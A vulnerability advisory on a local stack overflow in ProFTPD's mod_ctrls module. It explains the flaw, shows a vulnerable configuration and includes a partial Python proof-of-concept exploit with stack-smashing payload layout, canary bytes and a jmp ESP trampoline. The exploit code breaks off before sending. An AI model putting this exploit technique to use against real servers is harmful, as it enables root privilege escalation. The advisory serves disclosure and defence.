A locally exploitable stack overflow vulnerability has been found in the mod_ctrls module of ProFTPD server.
ProFTPD is a commonly used and highly configurable FTP server for Unix and Windows systems. This server is available as an optional package in most recent Linux distributions, including Debian (sid), Mandriva 2007 and Ubuntu Edgy. For more information concerning ProFTPD, refer to the site http://www.proftpd.org/
The vulnerability is located in the "Controls" module. This is an optional feature of ProFTPD server, that must be activated in the configuration file. Controls are a way to communicate directly with a standalone ProFTPD daemon while it is running. This provides administrators a way to alter the daemon's behavior in real time, without having to restart the daemon and have it re-read its configuration. The Controls feature allow authorized users to locally manage parameters of the ProFTPD servers, like aborting connections, managing users, changing log levels, disabling individual virtual servers, etc.
The vulnerability allows local attackers with access to the Controls features (and who have been allowed by Controls ACLs in proftpd.conf) to gain root privileges.
/* Next, read in the requested number of arguments. The client sends
* the arguments in pairs: first the length of the argument, then the
* argument itself. The first argument is the action, so get the first
* matching pr_ctrls_t (if present), and add the remaining arguments to it.
*/
In (1) the integer 'reqarglen' is fully controlled by the attacker, as it's read directly from the control socket. This allows an attacker to control how much we read into the 'reqaction' variable in (2) (this variable is in the stack).
Example of vulnerable configuration in proftpd.conf:
<IfModule mod_ctrls.c>
ControlsEngine on
ControlsACLs all allow group someuser
ControlsMaxClients 2
ControlsLog /var/log/proftpd/controls.log
ControlsInterval 5
ControlsSocket /tmp/ctrls.sock
ControlsSocketOwner someuser someuser
ControlsSocketACL allow group someuser
</IfModule>
ProFTPD must be compiled with mod_ctrls support ( --enable-ctrls ).
The following is a simple working proof-of-concept (Python).
#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"
#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode
#Setup socket
#
if os.path.exists(mySocket):
os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)
